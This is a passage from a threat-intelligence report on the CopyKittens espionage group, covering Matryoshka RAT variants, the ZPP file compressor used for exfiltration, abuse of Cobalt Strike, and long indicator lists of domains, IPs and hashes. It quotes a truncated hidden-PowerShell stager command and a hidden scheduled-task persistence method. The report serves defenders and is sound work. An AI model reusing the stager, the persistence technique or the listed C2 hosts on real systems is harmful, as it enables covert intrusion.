is a RAT analyzed in the 2015 report by ClearSky and Minerva.38 It uses DNS for command and control communication, and has common RAT capabilities such as stealing Outlook passwords, screen grabbing, keylogging, collecting and uploading files, and giving the attacker Meterpreter shell access. We have seen this version of Matreyoshka in the wild from July 2016 until January 2017. The Matryoshka.Reflective_Loader injects the module Matryoshka.Rat, which has the same persistence keys and communication method described in the original report. Indicators of Compromise File name Kernel.dll win.dll update5x.dll 22092014_ver621.dll 94ba33696cd6ffd6335948a752ec9c19 d9aa197ca2f01a66df248c7a8b582c40 506415ef517b4b1f7679b3664ad399e1 1ca03f92f71d5ecb5dbf71b14d48495c Command and control cloudflare-statics[.]com cloudflare-analyse[.]com mswordupdate17[.]com Registry Keys: HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\StartupApproved\Run\{0355F5D0-467C-30E9-894CC2FAEF522A13} HKCU\Software\Microsoft\Windows\CurrentVersion\Run\{0355F5D0-467C-30E9-894C-C2FAEF522A13} Scheduled Tasks: \Windows\Microsoft Boost Kernel Optimization Windows Boost Kernel Matreyoshka v2 RAT Matryoshka v2 (bd38cab32b3b8b64e5d5d3df36f7c55a) is mostly like Matreyoshka v1 but has fewer commands and a few other minor changes. Upon starting it will inject the communication module to all available processes (with the same run architecture and the same or lower level of permission). The inner name of Svchost s is Injector.dll. The next stage, in memory, is ReflectiveDLL.dll. The ReflectiveDLL.dll provides persistence via a schedule task and checks that the stager, Injector.dll, exist on disk. ReflectiveDLL.dll gets commands via the following DNS resolutions: Command Resolved IP Functionality Send full info 104.40.211.100 Send host information Beacon MessageBox 104.40.211.11 104.40.211.12 Get UID 104.40.211.13 Inject Cobalt Strike beacon Pop MessageBox with simple note (Only if injected into process with user interface) Send UID Exit 104.40.211.14 Exit the process the thread was injected into OK_StopParse 161.69.29.251 keep-alive or end chain of commands www.clearskysec.com/report-the-copykittens-are-targeting-israelis/ Page 33 of 48 All rights reserved to ClearSky cyber security and Trend Micro, 2017 Indicators of Compromise File names: Svchost32.swp Svchost64.swp Md5: bd38cab32b3b8b64e5d5d3df36f7c55a Folder path: [windrive]\Users\public\ [windrive]\Windows\temp\ [windrive]\Windows\tmp\ Files: LogManager.tmp edg1CF5.tmp (malware backup copy) ntuser.swp (malware backup copy) svchost64.swp(malware main file) ntuser.dat.swp (log file) 455aa96e-804g-4bcf-bcf8-f400b3a9cfe9.PackageExtraction (folder) _%d.klg (keylog file, random integer) _%d.sc (screen capture file, random integer) Command and control: winupdate64[.]com Services: sdrsrv Class from CPP RTTI: PSCL_CLASS_JOB_SAVE_CONFIG PSCL_CLASS_BASE_JOB Page 34 of 48 All rights reserved to ClearSky cyber security and Trend Micro, 2017 ZPP File Compressor ZPP (bcae706c00e07936fc41ac47d671fc40) is a .NET console program that compresses files with the ZIP algorithm. It can transfer compressed files to a remote network share. Command line options are as follows: -I - File extension to compress (i.e.: .txt) -s - Source directory -d - Destination directory -gt - Greater than creation timestamp -lt - Lower than creation timestamp -mb - Unimplemented -o - Output file name -e - File extension to skip (except) ZPP will recursively read all files in the source directory to compress them with the maximum compression rate if their names match the extension pattern given (-i). The compressed ZIP file is written to the output directory (-d). If no output file name is set, ZPP will use the mask zpp.out. . For example: Filename is zpp5077.out0 The file compilation timestamp is Tue, 05 Jul 2016 17:22:59 UTC. ad09feb76709b825569d9c263dfdaaac is a previous version (compilation timestamp: Sat, 09 Jan 2016 17:02:38 UTC) and is only different in that it accepts the e switch, which ignored by the program logic. 214be584ff88fb9c44676c1d3afd7c95 is the newest version (compilation timestamp: Mon, 26 Sep 2016 19:49:34 UTC). It is supposed to implement the s switch but although it is set when the user gives it to the program, the switch is ignored by the code. ZPP version 2.0 ZPP seems to be under development. All versions have bugs. It uses the reduced version of DotNetZip library. 39 Therefore, it requires Ionic.Zip.Reduced.dll (7c359500407dd393a276010ab778d5af) to be under the same directory or %PATH%. Function doCompressInNetWorkDirectory() is intended to exfiltrate date from a target machine to a network share. https://dotnetzip.codeplex.com Page 35 of 48 All rights reserved to ClearSky cyber security and Trend Micro, 2017 ZPP doCompressInNetWorkDirectory() function Passing it a network location will result in the compressed files being dropped in it: Passing a network location to ZPP Indicators of Compromise File name: zpp.exe md5: bcae706c00e07936fc41ac47d671fc40 ad09feb76709b825569d9c263dfdaaac 214be584ff88fb9c44676c1d3afd7c95 Cobalt Strike Cobalt Strike is a publicly available commercial software for "Adversary Simulations and Red Team Operations."40 While not malicious in and of itself, it is often used by cybercrime groups and state-sponsored threat groups, due to its post-exploitation and covert communication capabilities. 41 4243 44 CopyKittens use the free 21-day trial version of Cobalt Strike. Thus, malicious communication generated by the tool is much easier to detect, because a special header is sent in each HTTP GET transaction. The special header is "X-Malware," i.e. there is a literal indication that "this network communication is malicious." All that https://www.cobaltstrike.com https://www.fireeye.com/blog/threat-research/2017/05/cyber-espionage-apt32.html https://www.symantec.com/connect/blogs/odinaff-new-trojan-used-high-level-financial-attacks https://www.cybereason.com/labs-operation-cobalt-kitty-a-large-scale-apt-in-asia-carried-out-by-theoceanlotus-group/ http://www.antiy.net/wp-content/uploads/ANALYSIS-ON-APT-TO-BE-ATTACK-THAT-FOCUSING-ONCHINAS-GOVERNMENT-AGENCY-.pdf Page 36 of 48 All rights reserved to ClearSky cyber security and Trend Micro, 2017 defender need to do to detect infections is to look for this header in network traffic. Other "tells" are implemented in the trail version.45 CopyKittens often use Cobalt Strike's DNS based command and control capability.46 Other capabilities include PowerShell scripts execution, keystrokes logging, taking screenshots, file downloads, spawning other payloads, and peer-to-peer communication over the SMB. Persistency The attackers used a novel way for persistency of Cobalt Strike samples in certain machine a scheduled task was written directly to the registry. The malware creates a PowerShell wrapper, which executes powershell.exe to run scripts. The wrapper is copied to %windir% with one of the following names: svchost.exe csrss.exe notpad.exe (note missing e) conhost.exe The scheduled tasks are saved in the following registry path: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Schedule\TaskCache\Tasks With the following attributes: "Path"="\\Microsoft\\Windows\\Media Center\\ConfigureLocalTimeService" "Description"="Media Center Time Update From Computer Local Time." "Actions"=hex:01,00,66,66,00,00,00,00,2c,00,00,00,43,00,3a,00,5c,00,57,00,69,\ 00,6e,00,64,00,6f,00,77,00,73,00,5c,00,73,00,76,00,63,00,68,00,6f,00,73,00,\ 74,00,2e,00,65,00,78,00,65,00,7e,31,00,00,2d,00,6e,00,6f,00,70,00,20,00,2d,\ 00,77,00,20,00,68,00,69,00,64,00,64,00,65,00,6e,00,20,00,2d,00,65,00,6e,00,\ 63,00,6f,00,64,00,65,00,64,00,63,00,6f,00,6d,00,6d,00,61,00,6e,00,64,00,20,\ 00,4a,00,41,00,42,00,7a,00,41,00,44,00,30,00,41,00,54,00,67,00,42,00,6c,00,\ The hex code in the Actions attribute is converted into the following command line action: C:\Windows\svchost.exe -nop -w hidden -encodedcommand JABzAD0ATgBl[ The executed command is a base64 encoded PowerShell cobalt strike stager. The task does not have a name attribute and it does not appear in windows scheduled task viewers. The installation methods of this persistency method is unknown to us. Metasploit A well-known free and open source framework for developing and executing exploit code against a remote target machine.47 It has more than 1,610 exploits, as well as more than 438 payloads, which include command shell that enables users to run collection scripts or arbitrary commands against the host. Meterpreter, which enables users to control the screen of a device using VNC and to browse, upload and download files. It also employs dynamic payloads that enables users to evade antivirus defenses by generating unique payloads.48 https://blog.cobaltstrike.com/2015/10/14/the-cobalt-strike-trials-evil-bit/ https://www.cobaltstrike.com/help-dns-beacon https://www.metasploit.com https://en.wikipedia.org/wiki/Metasploit_Project Page 37 of 48 All rights reserved to ClearSky cyber security and Trend Micro, 2017 Empire Post-exploitation Framework In several occasions the attackers used Empire, a free and open source "post-exploitation framework that includes a pure-PowerShell2.0 Windows agent, and a pure Python 2.6/2.7 Linux/OS X agent.49 The framework offers cryptologically-secure communications and a flexible architecture. On the PowerShell side, Empire implements the ability to run PowerShell agents without needing powershell.exe, rapidly deployable postexploitation modules ranging from key loggers to Mimikatz, and adaptable communications to evade network detection, all wrapped up in a usability-focused framework." https://github.com/EmpireProject/Empire Page 38 of 48 All rights reserved to ClearSky cyber security and Trend Micro, 2017 Indicators of Compromise Detection name Detection name Detection name Detection name Detection name Detection name Detection name Detection name Detection name SSLCertificate SSLCertificate SSLCertificate SSLCertificate SSLCertificate SSLCertificate IPv4Address IPv4Address IPv4Address IPv4Address IPv4Address IPv4Address IPv4Address IPv4Address IPv4Address IPv4Address IPv4Address BKDR_COBEACON.A TROJ_POWPICK.A HKTL_PASSDUMP TROJ_SODREVR.A TROJ_POWSHELL.C BKDR_CONBEA.A TSPY64_REKOTIB.A HKTL_DIRZIP TROJ_WAPPOME.A http://js[.]jguery[.]net/main[.]js http://pht[.]is[.]nlb-deploy[.]edge-dyn[.]e11[.]f20[.]ads-youtube[.]online/winini[.]exe http://38[.]130[.]75[.]20/check[.]html http://update[.]microsoft-office[.]solutions/license[.]doc http://update[.]microsoft-office[.]solutions/error[.]html http://main[.]windowskernel14[.]com/spl/update5x[.]zip http://img[.]twiterstatics[.]info/i/658A6D6AE42A658A6D6AE42A/0de9c5c6599fdf5201599ff9b30e0000/6E24E58CF C94/icon[.]png http://files0[.]terendmicro[.]com/ http://ssl[.]pmo[.]gov[.]il-dana-naauthurl1-welcome[.]cgi[.]primeminister-govermenttechcenter[.]tech/%D7%A1%D7%A7%D7%A8%20%D7%A9%D7%A0%D7%AA%D7%99[.]docx http://ea-in-f155[.]1e100[.]microsoft-security[.]host/ https://ea-in-f155[.]1e100[.]microsoft-security[.]host/mTQJ http://iba[.]stage[.]7338879[.]i[.]gtld-servers[.]services http://doa[.]stage[.]7338879[.]i[.]gtld-servers[.]services http://fda[.]stage[.]7338879[.]i[.]gtld-servers[.]services http://rqa[.]stage[.]7338879[.]i[.]gtld-servers[.]services http://qqa[.]stage[.]7338879[.]i[.]gtld-servers[.]services http://api[.]02ac36110[.]49318[.]a[.]gtld-servers[.]zone s1w-amazonaws.office-msupdate[.]solutions a104-93-82-25.mandalasanati[.]info/iBpa http://fetchnews-agency[.]news-bbc.press/pictures.html http://fetchnews-agency.news-bbc.press/omnews.doc http://fetchnews-agency[.]news-bbc.press/en/20170/pictures.doc fa3d5d670dc1d153b999c3aec7b1d815cc33c4dc b11aa089879cd7d4503285fa8623ec237a317aee 07317545c8d6fc9beedd3dd695ba79dd3818b941 3c0ecb46d65dd57c33df5f6547f8fffb3e15722d 1c43ed17acc07680924f2ec476d281c8c5fd6b4a 8968f439ef26f3fcded4387a67ea5f56ce24a003 206.221.181.253 66.55.152.164 68.232.180.122 173.244.173.11 173.244.173.12 173.244.173.13 209.190.20.149 209.190.20.59 209.190.20.62 209.51.199.116 38.130.75.20 Page 39 of 48 All rights reserved to ClearSky cyber security and Trend Micro, 2017 IPv4Address IPv4Address IPv4Address IPv4Address IPv4Address IPv4Address IPv4Address IPv4Address IPv4Address IPv4Address IPv4Address IPv4Address IPv4Address IPv4Address IPv4Address IPv4Address IPv4Address IPv4Address IPv4Address IPv4Address IPv4Address IPv4Address IPv4Address IPv4Address IPv4Address IPv4Address IPv4Address IPv4Address IPv4Address IPv4Address IPv4Address IPv4Address IPv4Address IPv4Address IPv4Address IPv4Address IPv4Address IPv4Address IPv4Address IPv4Address IPv4Address IPv4Address IPv4Address IPv4Address IPv4Address IPv4Address IPv4Address IPv4Address IPv4Address IPv4Address IPv4Address IPv4Address IPv4Address IPv4Address 185.92.73.194 144.168.45.126 198.55.107.164 104.200.128.126 104.200.128.161 104.200.128.173 104.200.128.183 104.200.128.184 104.200.128.185 104.200.128.187 104.200.128.195 104.200.128.196 104.200.128.198 104.200.128.205 104.200.128.206 104.200.128.208 104.200.128.209 104.200.128.48 104.200.128.58 104.200.128.64 104.200.128.71 107.181.160.138 107.181.160.178 107.181.160.194 107.181.160.195 107.181.161.141 107.181.174.21 107.181.174.228 107.181.174.232 107.181.174.241 188.120.224.198 188.120.228.172 188.120.242.93 188.120.243.11 188.120.247.151 62.109.2.52 188.120.232.157 185.118.65.230 185.118.66.114 141.105.67.58 141.105.68.25 141.105.68.26 141.105.68.29 141.105.69.69 141.105.69.70 141.105.69.77 31.192.105.16 31.192.105.17 31.192.105.28 146.0.73.109 146.0.73.110 146.0.73.111 146.0.73.112 146.0.73.114 Page 40 of 48 All rights reserved to ClearSky cyber security and Trend Micro, 2017 IPv4Address IPv4Address IPv4Address IPv4Address IPv4Address IPv4Address IPv4Address IPv4Address IPv4Address IPv4Address IPv4Address IPv4Address IPv4Address IPv4Address IPv4Address Hash Hash Hash Hash Hash Hash Hash Hash Hash Hash Hash Hash Hash Hash Hash Hash Hash Hash Hash Hash Hash Hash Hash Hash Hash Hash Hash Hash Hash Hash Hash Hash Hash Hash Hash Hash Hash Hash Hash 217.12.201.240 217.12.218.242 5.34.180.252 5.34.181.13 86.105.18.5 93.190.138.137 212.199.61.51 80.179.42.37 80.179.42.44 176.31.18.29 188.165.69.39 51.254.76.54 158.69.150.163 192.99.242.212 198.50.214.62 a60a32f21ac1a2ec33135a650aa8dc71 94ba33696cd6ffd6335948a752ec9c19 bcae706c00e07936fc41ac47d671fc40 1ca03f92f71d5ecb5dbf71b14d48495c 506415ef517b4b1f7679b3664ad399e1 1ca03f92f71d5ecb5dbf71b14d48495c bd38cab32b3b8b64e5d5d3df36f7c55a ac29659dc10b2811372c83675ff57d23 41466bbb49dd35f9aa3002e546da65eb 8f6f7416cfdf8d500d6c3dcb33c4f4c9e1cd33998c957fea77fbd50471faec88 02f2c896287bc6a71275e8ebe311630557800081862a56a3c22c143f2f3142bd 2df6fe9812796605d4696773c91ad84c4c315df7df9cf78bee5864822b1074c9 55f513d0d8e1fd41b1417a0eb2afff3a039a9529571196dd7882d1251ab1f9bc da529e0b81625828d52cd70efba50794 1f9910cafe0e5f39887b2d5ab4df0d10 0feb0b50b99f0b303a5081ffb3c4446d 577577d6df1833629bfd0d612e3dbb05 165f8db9c6e2ca79260b159b4618a496e1ed6730d800798d51d38f07b3653952 1f867be812087722010f12028beeaf376043e5d7 b571c8e0e3768a12794eaf0ce24e6697 e319f3fb40957a5ff13695306dd9de25 acf24620e544f79e55fd8ae6022e040257b60b33cf474c37f2877c39fbf2308a 8c8496390c3ad048f2a0a4031edfcdac819ee840d32951b9a1a9337a2dcbea25 c5a02e984ca3d5ac13cf946d2ba68364 efca6664ad6d29d2df5aaecf99024892 bff115d5fb4fd8a395d158fb18175d1d183c8869d54624c706ee48a1180b2361 afa563221aac89f96c383f9f9f4ef81d82c69419f124a80b7f4a8c437d83ce77 4a3d93c0a74aaabeb801593741587a02 64c9acc611ef47486ea756aca8e1b3b7 fb775e900872e01f65e606b722719594 cf8502b8b67d11fbb0c75ebcf741db15 4999967c94a2fb1fa8122f1eea7a0e02 5fe0e156a308b48fb2f9577ed3e3b09768976fdd99f6b2d2db5658b138676902 37449ddfc120c08e0c0d41561db79e8cbbb97238 4442c48dd314a04ba4df046dfe43c9ea1d229ef8814e4d3195afa9624682d763 7651f0d886e1c1054eb716352468ec6aedab06ed61e1eebd02bca4efbb974fb6 eb01202563dc0a1a3b39852ccda012acfe0b6f4d 7e3c9323be2898d92666df33eb6e73a46c28e8e34630a2bd1db96aeb39586aeb 9e5ab438deb327e26266c27891b3573c302113b8d239abc7f9aaa7eff9c4f7bb Page 41 of 48 All rights reserved to ClearSky cyber security and Trend Micro, 2017 Hash Hash Hash Hash Hash Hash Hash Hash Hash Hash Hash Hash Hash Hash Hash Hash Hash Hash Hash Hash Hash Hash Hash Hash Hash Hash Hash Hash Hash Hash Hash Hash Hash Hash Hash Hash Hash Hash Hash Hash Hash Hash Hash Hash Filename Filename Filename Filename Filename Filename Filename Filename Filename Filename 6a19624d80a54c4931490562b94775b74724f200 32860b0184676509241bbaf9233068d472472c3d9c93570fc072e1acea97a1d4 b34721e53599286a1093c90a9dd0b789 7ad65e39b79ad56c02a90dfab8090392ec5ffed10a8e276b86ec9b1f2524ad31 59c448abaa6cd20ce7af33d6c0ae27e4a853d2bd fb775e900872e01f65e606b722719594 871efc9ecd8a446a7aa06351604a9bf4 cf8502b8b67d11fbb0c75ebcf741db15 a4dd1c225292014e65edb83f2684f2d5 838fb8d181d52e9b9d212b49f4350739 e37418ba399a095066845e7829267efe 1072b82f53fdd9fa944685c7e498eece89b6b4240073f654495ac76e303e65c9 752240cddda5acb5e8d026cef82e2b54 435a93978fa50f55a64c788002da58a5 3de91d07ac762b193d5b67dd5138381a a4adbea4fcbb242f7eac48ddbf13c814d5eec9220f7dce01b2cc8b56a806cd37 aba7771c42aea8048e4067809c786b0105e9dfaa b01e955a34da8698fae11bf17e3f79a054449f938257284155aeca9a2d3815dd 3676914af9fd575deb9901a8b625f032 f1607a5b918345f89e3c2887c6dafc05c5832593 341c920ec47efa4fd1bfcd1859a7fb98945f9d85 8b702ba2b2bd65c3ad47117515f0669c 6ea02f1f13cc39d953e5a3ebcdcfd882 8f77a9cc2ad32af6fb1865fdff82ad89 62f8f45c5f10647af0040f965a3ea96d d9aa197ca2f01a66df248c7a8b582c40 217b1c2760bcf4838f5e3efb980064d7 cfb4be91d8546203ae602c0284126408 16a711a8fa5a40ee787e41c2c65faf9a78b195307ac069c5e13ba18bce243d01 5e65373a7c6abca7e3f75ce74c6e8143 d3b9da7c8c54f7f1ea6433ac34b120a1 32261fe44c368724593fbf65d47fc826 d2c117d18cb05140373713859803a0d6 113ca319e85778b62145019359380a08 4999967c94a2fb1fa8122f1eea7a0e02 9846b07bf7265161573392d24543940e bf23ce4ae7d5c774b1fa6becd6864b3b 720203904c9eaf45ff767425a8c518cd 62652f074924bb961d74099bc7b95731 1fba1876c88203a2ae6a59ce0b5da2a1 cf8502b8b67d11fbb0c75ebcf741db15 fb775e900872e01f65e606b722719594 73f14f320facbdd29ae6f0628fa6f198dc86ba3428b3eddbfc39cf36224cebb9 3d2885edf1f70ce4eb1e9519f47a669f config.exe Strike.doc malware.doc PDFOPENER_CONSOLE.exe Ma_1.tmp Wextract The%20United%20Nations%20Counter.doc.docx netsrvs.exe Date.dotm ssl.docx Page 42 of 48 All rights reserved to ClearSky cyber security and Trend Micro, 2017 Filename Filename Filename Filename Filename Filename Filename Filename Filename Filename Filename Filename Filename Filename Filename Filename Filename Filename Filename Filename Filename Filename Filename Domain Domain Domain Domain Domain Domain Domain Domain Domain Domain Domain Domain Domain Domain Domain Domain Domain Domain Domain Domain Domain Domain Domain Domain Domain Domain Domain Domain Domain Domain Domain o040t.exe m8f7s.exe d5tjo.exe LogManager.tmp edg1CF5.tmp ntuser.swp svchost64.swp ntuser.dat.swp 455aa96e-804g-4bcf-bcf8-f400b3a9cfe9.PackageExtraction Svchost32.swp Svchost64.swp update5x.dll 22092014_ver621.dll netsrv.exe netsrva.exe netsrvd.exe netsrvs.exe vminst.tmp tdtess.exe test_oracle.xls ur96r.exe The North Korean weapons program now testing USA range.docx F123321.exe wethearservice[.]com mywindows24[.]in microsoft-office[.]solutions code[.]jguery[.]net 1m100[.]tech cloudflare-statics[.]com cachevideo[.]com winfeedback[.]net terendmicro[.]com alkamaihd[.]com msv-updates[.]gsvr-static[.]co fbstatic-a[.]space broadcast-microsoft[.]tech sharepoint-microsoft[.]co newsfeeds-microsoft[.]press owa-microsoft[.]online digicert[.]online cloudflare-analyse[.]com israelnewsagency[.]link akamaitechnology[.]tech winupdate64[.]org ads-youtube[.]net cortana-search[.]com nsserver[.]host nameserver[.]win symcd[.]xyz fdgdsg[.]xyz dnsserv[.]host winupdate64[.]com ssl-gstatic[.]online updatedrivers[.]org Page 43 of 48 All rights reserved to ClearSky cyber security and Trend Micro, 2017 Domain Domain Domain Domain Domain Domain Domain Domain Domain Domain Domain Domain Domain Domain Domain Domain Domain Domain Domain Domain Domain Domain Domain Domain Domain Domain Domain Domain Domain Domain Domain Domain Domain Domain Domain Domain Domain Domain Domain Domain Domain Domain Domain Domain Domain Domain Domain Domain Domain Domain Domain Domain Domain Domain alkamaihd[.]net update[.]microsoft-office[.]solutions javaupdate[.]co outlook360[.]org winupdate64[.]net trendmicro[.]tech qoldenlines[.]net windefender[.]org 1e100[.]tech chromeupdates[.]online ads-youtube[.]online akamaitechnology[.]com cloudmicrosoft[.]net js[.]jguery[.]online azurewebsites[.]tech elasticbeanstalk[.]tech jguery[.]online microsoft-security[.]host microsoft-ds[.]com jguery[.]net primeminister-goverment-techcenter[.]tech officeapps-live[.]com microsoft-tool[.]com cissco[.]net js[.]jguery[.]net f-tqn[.]com javaupdator[.]com officeapps-live[.]net ipresolver[.]org intelchip[.]org outlook360[.]net windowkernel[.]com wheatherserviceapi[.]info windowslayer[.]in sdlc-esd-oracle[.]online mpmicrosoft[.]com officeapps-live[.]org cachevideo[.]online win-update[.]com labs-cloudfront[.]com windowskernel14[.]com fbstatic-akamaihd[.]com mcafee-analyzer[.]com cloud-analyzer[.]com fb-statics[.]com ynet[.]link twiter-statics[.]info diagnose[.]microsoft-office[.]solutions mswordupdate17[.]com gsvr-static[.]co news-bbc[.]press mandalasanati[.]info office-msupdate[.]solutions windows-updates[.]solutions Page 44 of 48 All rights reserved to ClearSky cyber security and Trend Micro, 2017 Domain Domain Domain Domain Domain Domain Domain Domain Domain Domain DNSName DNSName DNSName DNSName DNSName DNSName DNSName DNSName DNSName DNSName DNSName DNSName DNSName DNSName DNSName DNSName DNSName DNSName DNSName DNSName DNSName DNSName DNSName DNSName DNSName DNSName DNSName DNSName DNSName DNSName DNSName DNSName DNSName DNSName DNSName DNSName DNSName DNSName DNSName DNSName DNSName DNSName akamai-net[.]network azureedge-net[.]services doucbleclick[.]tech windows-updates[.]services windows-updates[.]network cloudfront[.]site netcdn-cachefly[.]network akamaized[.]online cdninstagram[.]center googlusercontent[.]center ea-in-f354[.]1e100[.]ads-youtube[.]net ns1[.]ynet[.]link ns2[.]ynet[.]link static[.]dyn-usr[.]g-blc-se[.]d45[.]a63[.]akamai[.]be-5-0-ibr01-lts-ntwk-msn[.]alkamaihd[.]com pht[.]is[.]nlb-deploy[.]edge-dyn[.]e11[.]f20[.]ads-youtube[.]online ns1[.]winfeedback[.]net ns2[.]winfeedback[.]net msupdate[.]diagnose[.]microsoft-office[.]solutions www[.]alkamaihd[.]net c20[.]jdk[.]cdn-external-ie[.]1e100[.]alkamaihd[.]net ns2[.]img[.]twiter-statics[.]info api[.]img[.]twiter-statics[.]info ns1[.]img[.]twiter-statics[.]info ns1[.]officeapps-live[.]net ns1[.]wheatherserviceapi[.]info ns2[.]microsoft-tool[.]com ns2[.]f-tqn[.]com carl[.]ns[.]cloudflare[.]com[.]sdlc-esd-oracle[.]online ns1[.]cortana-search[.]com 40[.]dc[.]c0ad[.]ip4[.]dyn[.]gsvr-static[.]co 40[.]dc[.]c2ad[.]ip4[.]dyn[.]gsvr-static[.]co ns2[.]winupdate64[.]org ns1[.]f-tqn[.]com ns2[.]cortana-search[.]com ns1[.]symcd[.]xyz ns2[.]symcd[.]xyz ns1[.]winupdate64[.]org ns1[.]microsoft-tool[.]com ns2[.]officeapps-live[.]com ns1[.]israelnewsagency[.]link ns2[.]israelnewsagency[.]link ns1[.]cissco[.]net ns2[.]cissco[.]net ns1[.]cachevideo[.]online ns2[.]cachevideo[.]online www[.]static[.]dyn-usr[.]g-blc-se[.]d45[.]a63[.]akamai[.]alkamaihd[.]com static[.]dyn-usr[.]g-blc-se[.]d45[.]a63[.]akamai[.]www[.]alkamaihd[.]com dhb[.]stage[.]12735072[.]40[.]dc[.]c0ad[.]ip4[.]sta[.]gsvr-static[.]co main[.]windowskernel14[.]com www[.]winupdate64[.]net ae13-0-hk2-96cbe-1a-ntwk-msn[.]static[.]dyn-usr[.]g-blcse[.]d45[.]a63[.]akamai[.]alkamaihd[.]com be-5-0-ibr01-lts-ntwk-msn[.]static[.]dyn-usr[.]g-blc-se[.]d45[.]a63[.]akamai[.]alkamaihd[.]com Page 45 of 48 All rights reserved to ClearSky cyber security and Trend Micro, 2017 DNSName DNSName DNSName DNSName DNSName DNSName DNSName DNSName DNSName DNSName DNSName DNSName DNSName DNSName DNSName DNSName DNSName DNSName DNSName DNSName DNSName DNSName DNSName DNSName DNSName DNSName DNSName DNSName DNSName DNSName DNSName DNSName DNSName DNSName DNSName DNSName DNSName DNSName DNSName DNSName DNSName DNSName DNSName DNSName DNSName DNSName DNSName DNSName DNSName DNSName DNSName DNSName DNSName static[.]dyn-usr[.]g-blc-se[.]d45[.]a63[.]akamai[.]static[.]dyn-usr[.]g-blcse[.]d45[.]a63[.]akamai[.]alkamaihd[.]com cyb[.]stage[.]12735072[.]40[.]dc[.]c0ad[.]ip4[.]sta[.]gsvr-static[.]co ns1[.]winupdate64[.]com ns1[.]twiter-statics[.]info 40[.]dc[.]c0ad[.]ip4[.]dyn[.]gsvr-static[.]co update[.]microsoft-office[.]solutions wk-in-f104[.]1e100[.]n[.]microsoft[.]qoldenlines[.]net ns1[.]fb-statics[.]com ns2[.]fb-statics[.]com is-cdn[.]edge[.]g18[.]dyn[.]usr-e12-as[.]akamaitechnology img[.]gmailtagmanager[.]com wk-in-f104[.]1c100[.]n[.]microsoft-security[.]host msnbot-sd7-46-cdn[.]microsoft-security[.]host msnbot-sd7-46-img[.]microsoft-security[.]host ns2[.]winupdate64[.]com msnbot-sd7-46-194[.]microsoft-security[.]host ea-in-f155[.]1e100[.]microsoft-security[.]host msnbot-207-46-194[.]microsoft-security[.]host img[.]twiter-statics[.]info msnbot-sd7-46-cdn[.]microsoft-security[.]host ns2[.]wheatherserviceapi[.]info ns1[.]windowkernel[.]com ns2[.]windowkernel[.]com ns2[.]fbstatic-a[.]space ns1[.]fbstatic-a[.]space api[.]TwitEr-Statics[.]info ns2[.]mcafee-analyzer[.]com 21666[.]mpmicrosoft[.]com 22830[.]officeapps-live[.]org 15236[.]mcafee-analyzer[.]com ns2[.]static[.]dyn-usr[.]gsrv02[.]ssl-gstatic[.]online ns1[.]mcafee-analyzer[.]com ns1[.]fbstatic-akamaihd[.]com ns1[.]static[.]dyn-usr[.]gsrv01[.]ssl-gstatic[.]online ns2[.]officeapps-live[.]org wk-in-f104[.]1e100[.]n[.]microsoft-security[.]host ns1[.]mpmicrosoft[.]com www[.]microsoft-security[.]host ns2[.]fbstatic-akamaihd[.]com ns1[.]cachevideo[.]online wk-in-f100[.]1e100[.]n[.]microsoft-security[.]host ns1[.]officeapps-live[.]org ns2[.]mpmicrosoft[.]com ns02[.]nsserver[.]host ns2[.]cachevideo[.]online be-5-0-ibr01-lts-ntwk-msn[.]alkamaihd[.]com static[.]dyn-usr[.]g-blc-se[.]d45[.]a63[.]akamai[.]alkamaihd[.]com www[.]alkamaihd[.]com ae13-0-hk2-96cbe-1a-ntwk-msn[.]alkamaihd[.]com ns2[.]microsoft-ds[.]com adcenter[.]microsoft-ds[.]com ns1[.]microsoft-ds[.]com ns1[.]mswordupdate17[.]com Page 46 of 48 All rights reserved to ClearSky cyber security and Trend Micro, 2017 DNSName DNSName DNSName DNSName DNSName DNSName DNSName DNSName DNSName DNSName DNSName DNSName DNSName DNSName DNSName DNSName DNSName DNSName DNSName DNSName DNSName DNSName DNSName DNSName DNSName DNSName DNSName DNSName DNSName DNSName DNSName DNSName DNSName DNSName DNSName DNSName DNSName DNSName DNSName DNSName DNSName DNSName DNSName DNSName DNSName DNSName DNSName DNSName DNSName DNSName DNSName DNSName DNSName DNSName ns2[.]mswordupdate17[.]com c[.]mswordupdate17[.]com ns1[.]cloudflare-analyse[.]com static[.]dyn-usr[.]f-loginme[.]c19[.]a23[.]akamaitechnology[.]com ns2[.]cloudflare-analyse[.]com ns1[.]cloud-analyzer[.]com ns2[.]cloud-analyzer[.]com ns01[.]nsserver[.]host ns1[.]fb-statics[.]com ns02[.]dnsserv[.]host 15236[.]cachevideo[.]online ns2[.]fb-statics[.]com ns2[.]twiter-statics[.]info ea-in-f113[.]1e100[.]microsoft-security[.]host static[.]dyn-usr[.]f-login-me[.]c19[.]a[.]akamaitechnology[.]tech ea-in-f155[.]1e100[.]microsoft-security[.]host float[.]2963[.]bm-imp[.]akamaitechnology[.]tech ns1[.]mcafee-analyzer[.]com ns2[.]mcafee-analyzer[.]com ns1[.]mpmicrosoft[.]com ns2[.]mpmicrosoft[.]com jpsrv-java-jdkec1[.]javaupdate[.]co microsoft-active[.]directory_update-change-policy[.]primeminister-goverment-techcenter[.]tech jpsrv-java-jdkec3[.]javaupdate[.]co nameserver02[.]javaupdate[.]co jpsrv-java-jdkec2[.]javaupdate[.]co static[.]dyn-usr[.]f-login-me[.]c19[.]a23[.]akamaitechnology[.]com static[.]dyn-usr[.]g-blc-se[.]d45[.]a63[.]alkamaihd[.]net ssl[.]pmo[.]gov[.]il-dana-naauthurl1-welcome[.]cgi[.]primeminister-goverment-techcenter[.]tech ns1[.]static[.]dyn-usr[.]gsrv01[.]ssl- gstatic[.]online ns2[.]static[.]dyn-usr[.]gsrv02[.]ssl- gstatic[.]online static[.]primeminister-goverment-techcenter[.]tech ns1[.]outlook360[.]org d45[.]a63[.]alkamaihd[.]net ns1[.]officeapps-live[.]org ns2[.]outlook360[.]org ns2[.]officeapps-live[.]org ns2[.]win-update[.]com aaa[.]stage[.]14043411[.]email[.]sharepoint-microsoft[.]co ns1[.]updatedrivers[.]org a17-h16[.]g11[.]iad17[.]as[.]pht-external[.]c15[.]qoldenlines[.]net ns1[.]windefender[.]org is-cdn[.]edge[.]g18[.]dyn[.]usr-e12-as[.]akamaitechnology[.]com ns2[.]windefender[.]org ns1[.]win-update[.]com ns2[.]updatedrivers[.]org ns1[.]mpmicrosoft[.]com ns1[.]officeapps-live[.]org ns2[.]officeapps-live[.]org ns2[.]ipresolver[.]org ns1[.]ipresolver[.]org 